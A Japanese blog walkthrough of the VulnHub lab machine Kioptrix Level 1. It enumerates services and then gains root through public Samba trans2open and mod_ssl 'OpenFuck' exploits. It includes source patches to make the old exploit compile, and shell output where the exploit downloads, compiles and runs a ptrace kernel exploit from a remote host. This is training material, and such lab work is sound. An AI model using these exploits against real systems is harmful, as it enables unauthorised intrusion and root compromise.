LoginSignup
21
11

More than 3 years have passed since last update.

【VulnHub】Kioptrix: Level 1 (#1) - Walkthrough -

Last updated at Posted at 2019-08-29

Kioptrix: Level 1 (#1)」は、「Kioptrix」によって開発され、VulnHubにて公開されているシリーズの一つです。

リリース情報

名称: Kioptrix: Level 1 (#1)
リリース日: 2010年2月17日
シリーズ: Kioptrix
作者: Kioptrix
Twitter: @loneferret

Walkthrough

列挙

稼働しているIPアドレスの特定

ネットワーク内のIPアドレスを探すために、netdiscoverコマンドを使用します。

root@kali:~# netdiscover -r 172.16.208.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts                   

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                 
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 172.16.208.1    00:50:56:c0:00:08      1      60  VMware, Inc.                  
 172.16.208.2    00:50:56:f3:32:8a      1      60  VMware, Inc.                  
 172.16.208.180  00:0c:29:7b:8d:43      1      60  VMware, Inc.                  
 172.16.208.254  00:50:56:ee:2c:f4      1      60  VMware, Inc.

これで、標的のIPアドレスが172.16.208.180であることが特定できました。

実行されているサービスの特定

次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -sS -sV -p 1-1024 172.16.208.180コマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p 1-1024: まずは、ウェルノウンポート(プロトコルが利用するために予約されている番号(1-1024)のみを探索対象とします)

root@kali:~# nmap -Pn -sS -sV -p 1-1024 172.16.208.180
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-21 14:22 JST
Nmap scan report for 172.16.208.180
Host is up (0.00012s latency).
Not shown: 1018 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd (workgroup: NMYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:7B:8D:43 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.84 seconds
root@kali:~# 

これで、標的にて22/tcp open ssh80/tcp open http111/tcp open rpcbind139/tcp open netbios-ssn443/tcp open ssl/https1024/tcp open statusのサービスが稼働していることが判明しました。

ウェブサイトの診断

ウェブサイトの脆弱性を診断するために、niktoを使用してみます。

root@kali:~# nikto -h http://172.16.208.180/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.208.180
+ Target Hostname:    172.16.208.180
+ Target Port:        80
+ Start Time:         2019-08-21 14:24:22 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Thu Sep  6 12:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ 8345 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time:           2019-08-21 14:24:45 (GMT9) (23 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~# 

niktoコマンド結果から、mod_sslに関するリモートバッファオーバフローの脆弱性 CVE-2002-0082 が発見されました。

mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

さらに、攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。dirbコマンドを使用します。

root@kali:~# dirb http://172.16.208.180/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Aug 21 14:24:50 2019
URL_BASE: http://172.16.208.180/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://172.16.208.180/ ----
+ http://172.16.208.180/~operator (CODE:403|SIZE:273)                            
+ http://172.16.208.180/~root (CODE:403|SIZE:269)                                
+ http://172.16.208.180/cgi-bin/ (CODE:403|SIZE:272)                             
+ http://172.16.208.180/index.html (CODE:200|SIZE:2890)                          
==> DIRECTORY: http://172.16.208.180/manual/                                     
==> DIRECTORY: http://172.16.208.180/mrtg/                                       
==> DIRECTORY: http://172.16.208.180/usage/                                      

---- Entering directory: http://172.16.208.180/manual/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://172.16.208.180/mrtg/ ----
+ http://172.16.208.180/mrtg/index.html (CODE:200|SIZE:17318)                    

---- Entering directory: http://172.16.208.180/usage/ ----
+ http://172.16.208.180/usage/index.html (CODE:200|SIZE:3704)                    

-----------------
END_TIME: Wed Aug 21 14:25:03 2019
DOWNLOADED: 13836 - FOUND: 6
root@kali:~# 

HTTPサービスのスキャン

dirbコマンドの結果に基づいて、Firefoxブラウザを使ってアクセスしてみます。残念ながら、ここからは新たなヒントは得られませんでした。

  • /manualディレクトリ
    manual.png

  • /mrtgディレクトリ
    mrtg.png

  • /usageディレクトリ
    usage.png

SMBの診断

ポートスキャンの結果から得られた139/tcp open netbios-ssnに注目し、SMBの脆弱性を診断します。まず、nbtscanコマンドを実行します。

root@kali:~# nbtscan 172.16.208.180
Doing NBT name scan for addresses from 172.16.208.180

IP address       NetBIOS Name     Server    User             MAC address      
------------------------------------------------------------------------------
172.16.208.180   KIOPTRIX         <server>  KIOPTRIX         00:00:00:00:00:00
root@kali:~# 

ここで、IPC$ 共有(null セッション接続)を試みてみます。smbclient "//172.16.208.180\IPC$"コマンド構文を実行します。匿名アクセスは可能ですが、ファイルの列挙まではできないようです。

root@kali:~# smbclient -L 172.16.208.180
WARNING: The "syslog" option is deprecated
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Enter WORKGROUP\root's password: 

    Sharename       Type      Comment
    ---------       ----      -------
    IPC$            IPC       IPC Service (Samba Server)
    ADMIN$          IPC       IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful

    Server               Comment
    ---------            -------
    KIOPTRIX             Samba Server

    Workgroup            Master
    ---------            -------
    MYGROUP              KIOPTRIX
root@kali:~# smbclient "//172.16.208.180\IPC$"
WARNING: The "syslog" option is deprecated
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NETWORK_ACCESS_DENIED listing \*

Samba探索

Sambaサービスの詳細を列挙してみましょう。rpcclientコマンドを実行します。シェルからsrvinfoコマンドを実行してみます。残念ながら、Sambaサービスのバージョン特定には至りませんでした。

root@kali:~# rpcclient -U "" 172.16.208.180
Enter WORKGROUP\'s password: 
rpcclient $> srvinfo
    KIOPTRIX       Wk Sv PrQ Unx NT SNT Samba Server
    platform_id     :   500
    os version      :   4.5
    server type     :   0x9a03
rpcclient $> 

そこで、Metasploit FrameworkSMB Version Detectionを使用してみましょう。

root@kali:~# msfconsole
msf > use auxiliary/scanner/smb/smb_version 
msf auxiliary(scanner/smb/smb_version) > info

       Name: SMB Version Detection
     Module: auxiliary/scanner/smb/smb_version
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <x@hdm.io>

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  RHOSTS                      yes       The target address range or CIDR identifier
  SMBDomain  .                no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBUser                     no        The username to authenticate as
  THREADS    1                yes       The number of concurrent threads

Description:
  Display version information about each system

msf auxiliary(scanner/smb/smb_version) > set rhosts 172.16.208.180
rhosts => 172.16.208.180
msf auxiliary(scanner/smb/smb_version) > exploit

[*] 172.16.208.180:139    - Host could not be identified: Unix (Samba 2.2.1a)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_version) > 

[*] 172.16.208.180:139 - Host could not be identified: Unix (Samba 2.2.1a)

列挙の結果

Kioptrix: Level 1 (#1)Boxでは、複数の攻撃ベクターからアクセスの取得または特権の引き上げが狙えそうです。ここまでの結果についてまとめておきましょう。
※ SambaのExploitについては、後ほど特定していきます。

サービス バージョン Exploit
mod_ssl 2.8.4 CVE-2002-0082
Samba 2.2.1a CVE-2003-0201

アクセスの取得

特権の引き上げ

Samba アプローチ

searchsploitコマンドを使って、Exploit-DBに掲載されているexploitコードを検索してみましょう。出力結果を抑えるため、searchsploit -w samba 2.2 Linux構文を使用します。

root@kali:~# searchsploit -w samba 2.2 Linux
-------------------------------------- --------------------------------------------
 Exploit Title                        |  URL
-------------------------------------- --------------------------------------------
Samba 2.2.2 < 2.2.6 - 'nttrans' Remot | https://www.exploit-db.com/exploits/16321/
Samba 2.2.8 (Linux Kernel 2.6 / Debia | https://www.exploit-db.com/exploits/23674/
Samba 2.2.8 (Linux x86) - 'trans2open | https://www.exploit-db.com/exploits/16861/
Samba 2.2.8 - Brute Force Method Remo | https://www.exploit-db.com/exploits/55/
Samba 2.2.x - 'nttrans' Remote Overfl | https://www.exploit-db.com/exploits/9936/
Samba 2.2.x - Remote Buffer Overflow  | https://www.exploit-db.com/exploits/7/
Samba < 2.2.8 (Linux/BSD) - Remote Co | https://www.exploit-db.com/exploits/10/
-------------------------------------- --------------------------------------------
Shellcodes: No Result
root@kali:~# 

10.c(EDB-ID: 10)がRemote Code Executionのコードとして使えそうです。
また、16861.rb(EDB-ID: 16861)もRemote Code Executionのコードとして使えそうです。
ここでは、10.cコードを使用します。10.cコードをホームディレクトにコピーし、gccを使って実行できるようにコンパイルします。

root@kali:~# cp /usr/share/exploitdb/exploits/multiple/remote/10.c 10.c
root@kali:~# gcc 10.c -o trans2open

コンパイルされたtrans2openコマンドを実行して、まずはエクスプロイトの実行に必要なスイッチを確認してみましょう。

root@kali:~# ./trans2open 
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
Usage: ./trans2open [-bBcCdfprsStv] [host]

-b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step>       bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay>      bruteforce/scanmode delay in micro seconds (default = 100000)
-f              force
-p <port>       port to attack (default = 139)
-r <ret>        return address
-s              scan mode (random)
-S <network>    scan mode
-t <type>       presets (0 for a list)
-v              verbose mode

では、実行してみましょう。コマンド構文は、trans2open -b 0 172.16.208.180です。root権限への昇格に成功しました。

root@kali:~# ./trans2open -b 0 172.16.208.180
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root

Apache mod_ssl アプローチ

searchsploitコマンドを使って、Exploit-DBに掲載されているexploitコードを検索してみましょう。

root@kali:~# searchsploit mod_ssl
----------------------------------------- ----------------------------------------
 Exploit Title                           |  Path
                                         | (/usr/share/exploitdb/)
----------------------------------------- ----------------------------------------
Apache mod_ssl 2.0.x - Remote Denial of  | exploits/linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAcce | exploits/multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFu | exploits/unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFu | exploits/unix/remote/764.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9. | exploits/unix/remote/40347.txt
----------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# 

21671.c(EDB-ID: 21671)と764.c(EDB-ID: 764)がRemote Buffer Overflowのコードとして使えそうです。
ここでは、より新しい764.cコードを使用します。764.cコードをホームディレクトにコピーします。ソースコードの冒頭に次のコメントが記載されています。

root@kali:~# cp /usr/share/exploitdb/exploits/unix/remote/764.c 764.c
root@kali:~# head 764.c
/*
 * E-DB Note: Updating OpenFuck Exploit ~ http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/
 *
 * OF version r00t VERY PRIV8 spabam
 * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
 * objdump -R /usr/sbin/httpd|grep free to get more targets
 * #hackarena irc.brasnet.org
 */

#include <arpa/inet.h>
root@kali:~# 

E-DB Note: Updating OpenFuck Exploit ~ http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/

指定されたURL先を確認すると、Exploitコードの更新手順が記載されています。指示に従って、更新していきましょう。

paulsec.png

※ 2019年現在、「PAULSEC'S BLOG」記載の改変方法では正常にコンパイルできません。そこで、「Hypn.za.net」の記載内容を参照します。

764b.c:645:24: error: ‘SSL2_MAX_CONNECTION_ID_LENGTH’ undeclared here (not in a function)
764b.c:847:19: error: ‘SSL2_MT_ERROR’ undeclared (first use in this function)
764b.c:979:16: error: ‘SSL2_MT_SERVER_HELLO’ undeclared (first use in this function)
764b.c:1071:10: error: dereferencing pointer to incomplete type ‘EVP_PKEY {aka struct evp_pkey_st}’
764b.c:1148:16: error: ‘SSL2_MT_SERVER_VERIFY’ undeclared (first use in this function)
764b.c:1160:11: error: ‘SSL2_MT_CLIENT_FINISHED’ undeclared (first use in this function)
764b.c:1173:16: error: ‘SSL2_MT_SERVER_FINISHED’ undeclared (first use in this function)

764.c コードの更新

  • 1) ヘッダの追加

764.c コードの冒頭部分にて、以下の項目を追加する。

764.c
#include <openssl/rc4.h>
#include <openssl/md5.h>

#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16
  • 2) URLの更新

764.c コードにてwgetの記述を検索(nanoエディタで文字列検索する場合、編集画面で^Wショートカットキー)する。

wget.png

当該箇所のURLを次の内容に変更する。

764.c
http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
  • 3) パラメータの置換 Part 1

764.c コードにてget_server_helloの記述を検索する。

get_server_hello.png

unsigned char *p, *end;の記述を次の内容に変更する。

764.c
const unsigned char *p, *end;
  • 4) パラメータの置換 Part 2

764.c コードにてEVP_PKEY_RSAの記述を検索する。

EVP_PKEY_RSA.png

次の内容に変更する。

764.c
if (EVP_PKEY_get1_RSA(pkey) == NULL) {
  • 5) パラメータの置換 Part 3

764.c コードにてencrypted_key_lengthの記述を検索する。

encrypted_key_length.png

次の内容に変更する。

764.c
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);
  • 6) libssl-dev パッケージのインストール

libssl-devパッケージをインストールします。

root@kali:~# apt-get install libssl-dev
  • 7) ソースコードのコンパイル
root@kali:~# gcc -o OpenFuck2017 764.c -lcrypto

Apache mod_ssl アプローチ: 続き

コンパイルされたOpenFuck2017コマンドを実行して、まずはエクスプロイトの実行に必要なスイッチを確認してみましょう。

root@kali:~# ./OpenFuck2017 

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./OpenFuck2017 target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)


  Supported OffSet:

対応しているSupported OffSet:は多岐にわたっています。そこで、このBoxのnmapコマンドの結果を再確認してみましょう。

80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)

この結果から、Supported OffSet:の値は0x6aまたは0x6bまで絞り込むことができました。

    0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
    0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

Supported OffSet:の値を0x6aに設定し、実行してみます。Good Bye!の表記からも解るとおり、残念ながらシェルの取得に失敗しました。

root@kali:~# ./OpenFuck2017 0x6a 172.16.208.180

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f80e0
Ready to send shellcode
Spawning shell...
Good Bye!
root@kali:~# 

次に、Supported OffSet:の値を0x6bに設定し、実行してみます。今度は、root権限への昇格に成功しました。

root@kali:~# ./OpenFuck2017 0x6b 172.16.208.180

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f80e0
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304- 
--07:58:22--  http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80... connected!
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c [following]
--07:58:23--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]

    0K ...                                                   100% @   3.74 MB/s

07:58:24 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]

[+] Attached to 9889
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami
root

システム探索

Kioptrix: Level 1 (#1)」では、FlagEMailであるとヒントが指示されています。
root権限にて、mailコマンドを実行すると、About Level 2という件名のメールが未読であることが判明しました。

proof.png

Subject: About Level 2

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...

フラグの取得に成功しました。

まとめ

  1. nmapコマンドを使って、22番ポート、80番ポート、111番ポート、139番ポート、443番ポート、1024番ポートがオープン状態であることを確認しました。
  2. nbtscansmbclientrpcclientにてSMBの診断を実施しました。
  3. Metasploit FrameworkSMB Version Detectionを使ってバージョンを特定しました。
  4. searchsploitコマンドを使ってtrans2.c内のcall_trans2open関数のバッファーオーバーフローに関する脆弱性(EDB-ID: 10, CVE-2003-0201)を特定し、特権昇格を行いました。
  5. searchsploitコマンドを使ってmod_sslのバッファーオーバーフローに関する脆弱性(EDB-ID: 764, CVE-2002-0082)を特定し、特権昇格を行いました。

Kioptrixシリーズ

イメージ名 おすすめポイント 日本語解説(Walkthrough)
Kioptrix: Level 1 (#1) 良質な学習教材であるKioptrixシリーズの第一弾。リモートから到達可能な脆弱性でアクセス権を特定し、特権昇格を狙っていきます。アプリケーションの脆弱性を特定し、エクスプロイトコードを修正、コンパイルなども体験できる仮想イメージです。 あり
Kioptrix: Level 1.1 (#2) Kioptrixシリーズの第二弾。ウェブアプリケーションに関する「SQLインジェクション(CWE-89)」や「OSコマンドインジェクション(CWE-78)」を手がかりにカーネルエクスプロイトコードによる特権昇格について体験できる仮想イメージです。 あり
Kioptrix: Level 1.2 (#3) Kioptrixシリーズの第三弾。「SQLインジェクション(CWE-89)」を手がかりにsudo権限の乱用による特権昇格について体験できる仮想イメージです。 あり
Kioptrix: Level 1.3 (#4) Kioptrixシリーズの第四弾。 N/A
Kioptrix: 2014 (#5) Kioptrixシリーズの第五弾。 N/A
21
11
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
21
11